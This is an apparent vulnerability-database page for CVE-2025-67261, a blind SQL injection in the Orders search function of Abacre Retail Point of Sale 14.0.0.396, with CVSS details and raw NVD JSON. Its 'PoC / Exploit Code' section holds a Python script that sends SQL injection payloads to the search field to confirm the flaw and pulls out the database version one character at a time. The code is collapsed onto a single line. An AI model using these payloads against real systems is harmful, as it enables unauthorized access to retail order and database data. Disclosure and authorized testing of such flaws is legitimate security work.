Security Vulnerability Report
中文
CVE-2025-67261 CVSS 6.5 MEDIUM

CVE-2025-67261

Published: 2026-01-20 18:16:06
Last Modified: 2026-01-30 20:05:57

Description

Abacre Retail Point of Sale 14.0.0.396 is vulnerable to content-based blind SQL injection. The vulnerability exists in the Search function of the Orders page.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:abacre:retail_point_of_sale:14.0.0.396:*:*:*:*:*:*:* - VULNERABLE
Abacre Retail Point of Sale 14.0.0.396

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-67261 PoC - Abacre Retail POS Blind SQL Injection # Target: Orders page Search function # Vulnerability: Content-based blind SQL injection import requests import sys TARGET_URL = "http://target-host/RetailPOS/orders.aspx" def test_vulnerability(): """Test if the vulnerability exists by checking response differences""" # Normal request normal_payload = {"search": "test"} # True condition - should return orders true_payload = {"search": "' OR '1'='1"} # False condition - should return empty or different result false_payload = {"search": "' AND '1'='2"} try: print("[*] Testing CVE-2025-67261 - Blind SQL Injection") print(f"[*] Target: {TARGET_URL}") # Send requests and compare responses r_normal = requests.post(TARGET_URL, data=normal_payload, timeout=10) r_true = requests.post(TARGET_URL, data=true_payload, timeout=10) r_false = requests.post(TARGET_URL, data=false_payload, timeout=10) if len(r_true.text) != len(r_false.text): print("[+] Vulnerability confirmed!") print("[+] Blind SQL Injection is present") return True else: print("[-] Vulnerability not detected") return False except Exception as e: print(f"[-] Error: {e}") return False def extract_data(): """Example: Extract database version using blind SQL injection""" # Extract MySQL version example payload_template = "' OR (SELECT CASE WHEN (SUBSTRING(@@version,1,1)='{char}') THEN 1 ELSE 0 END)='1" charset = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' result = "" print("[*] Extracting database version...") for pos in range(1, 20): found = False for char in charset: payload = payload_template.format(char=char) data = {"search": payload} try: resp = requests.post(TARGET_URL, data=data, timeout=10) if "expected_response_pattern" in resp.text: result += char print(f"[+] Position {pos}: {char}") found = True break except: pass if not found: break print(f"[*] Extracted: {result}") return result if __name__ == "__main__": test_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67261", "sourceIdentifier": "[email protected]", "published": "2026-01-20T18:16:05.567", "lastModified": "2026-01-30T20:05:56.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Abacre Retail Point of Sale 14.0.0.396 is vulnerable to content-based blind SQL injection. The vulnerability exists in the Search function of the Orders page."}, {"lang": "es", "value": "Abacre Retail Point de Sale 14.0.0.396 es vulnerable a inyección SQL ciega basada en contenido. La vulnerabilidad existe en la función de Búsqueda de la página de Pedidos."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:abacre:retail_point_of_sale:14.0.0.396:*:*:*:*:*:*:*", "matchCriteriaId": "26ECDDB1-B28B-4AE6-AA2F-04F7012A565B"}]}]}], "references": [{"url": "https://packetstorm.news/files/id/214046/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.abacre.com/retailpointofsale/", "source": "[email protected]", "tags": ["Product"]}]}}